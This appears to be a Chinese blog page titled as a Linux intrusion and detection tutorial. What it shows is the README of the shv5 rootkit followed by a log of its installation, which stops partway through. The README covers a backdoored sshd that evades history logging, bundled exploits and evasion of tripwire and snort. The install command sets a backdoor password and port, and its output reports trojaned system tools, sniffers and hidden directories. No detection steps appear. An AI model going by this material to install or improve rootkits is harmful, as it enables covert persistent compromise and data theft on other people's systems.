linux抓肉鸡入侵详细教程,一台linux肉鸡的简单手工入侵检测过程

* Their use/misuse is at USERS OWN RISK !

* We do not take any responsibility for any harm or damage caused

* by the use of this file-package.

* This includes copying, duplicating or modifying it in any form !

* USERS WHO USE THIS CODED INSTRUCTIONS, STATEMENTS AND COMPUTER

* PROGRAMS MUST ACCEPT ALL ABOVE STATEMENTS !

* OTHERWISE U ARE OBLIGED TO DELETE THESE FILES IMEDIATELY !

CHANGES [shv5]:

-> - new sshd backdor with env-settings (avoids history logging)

- The new sshd is in between 1.2.25-2.0.13 SSHD (from ssh.com)

- not so big and with new great features designed to suite shv5.

-> new rk-dirs coz of lamme anti-shv4 release

-> new security-checks on the script

- latest flaws included (mod_ssl, samba, sendmail etc..)

-> setup-script rewriten to become more soft (friendly)

-> added new addons (tripwire, snort ... fucker :))

-> added basic utilz on rootkit (i hate dld them on each box)

-> we use md5sum passwords now (more l33t and secure)

USAGE:

-> - If u expect me to tell you how/what/if/when/where type of

- questions delete these files imediately! This is not for you!

TODO:

-> tcpdump trojan

-> crontab trojan

-> sendmail backdoor

-> ftp backdoor

-> httpd backdoor

-> any other idea ?!?!?! < mail: pint@dosnet.info >

[root@localhost shv5]# ./setup sshdoor 8585

[sh]# Installing shv5 ... this wont take long

[sh]# If u think we will patch your holes shoot yourself !

[sh]# so patch manualy and fuck off!

============================================================================

MMMMM　　　　　　　　　　　　　　　　　　　　　　　　　　 MMMMMM

MMM　　　 MMMMMMMMM　　 MMMM　　　 MMMM　　　 MMM　　 [*] Presenting u shv5-rootkit !

MMM　　 MMMM　　 MMMM　 MMMM　　　 MMMM　　　 MMM　　 [*] Designed for internal use !

MMM　　 MMMMMMM　　　　　 MMMMMMMMMMMM　　　 MMM

MMM　　　　 MMMMMMMM　　 MMMMMMMMMMMM　　　 MMM　　 [*] brought to you by: PinT[x]

MMM　　　　　　　　　 MMMM　 MMMM　　　 MMMM　　　 MMM　　 [*] April ) 2003 )

MMM　　 MMMM　　 MMMM　 MMMM　　　 MMMM　　　 MMM

MMM　　　 MMMMMMMMM　　 MMMM　　　 MMMM　　　 MMM　　 [*]　　　 *** VERY PRIVATE ***

MMM　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 MMM　　 [*] *** so dont distribute ***

MMMMM　　　　　　 -C- -R- -E- -W-　　　　 MMMMMM

============================================================================

[sh]# backdooring started on localhost.localdomain

[sh]#

[sh]#

[sh]# checking for remote logging...　　 guess not.

[sh]# checking for tripwire...　 guess not.

[sh]# [Installing trojans....]

[sh]#　 Using Password : sshdoor

[sh]#　　　　　　　　 Using ssh-port : 8585

mkdir: cannot create directory `/usr/lib/libsh': File exists

mkdir: cannot create directory `/usr/lib/libsh/.backup': File exists

[sh]#　　　　　　　　　 : ps/ls/top/netstat/ifconfig/find/ and rest backdoored

[sh]#

[sh]# [Installing some utils...]

[sh]#　　　　　　　　　 : mirk/synscan/others... moved

[sh]# [Moving our files...]

mkdir: cannot create directory `/usr/lib/libsh/.sniff': File exists

[sh]#　　　　　　　　　 : sniff/parse/sauber/hide moved

[sh]# [Modifying system settings to suite our needs]

[sh]# Checking for vuln-daemons ...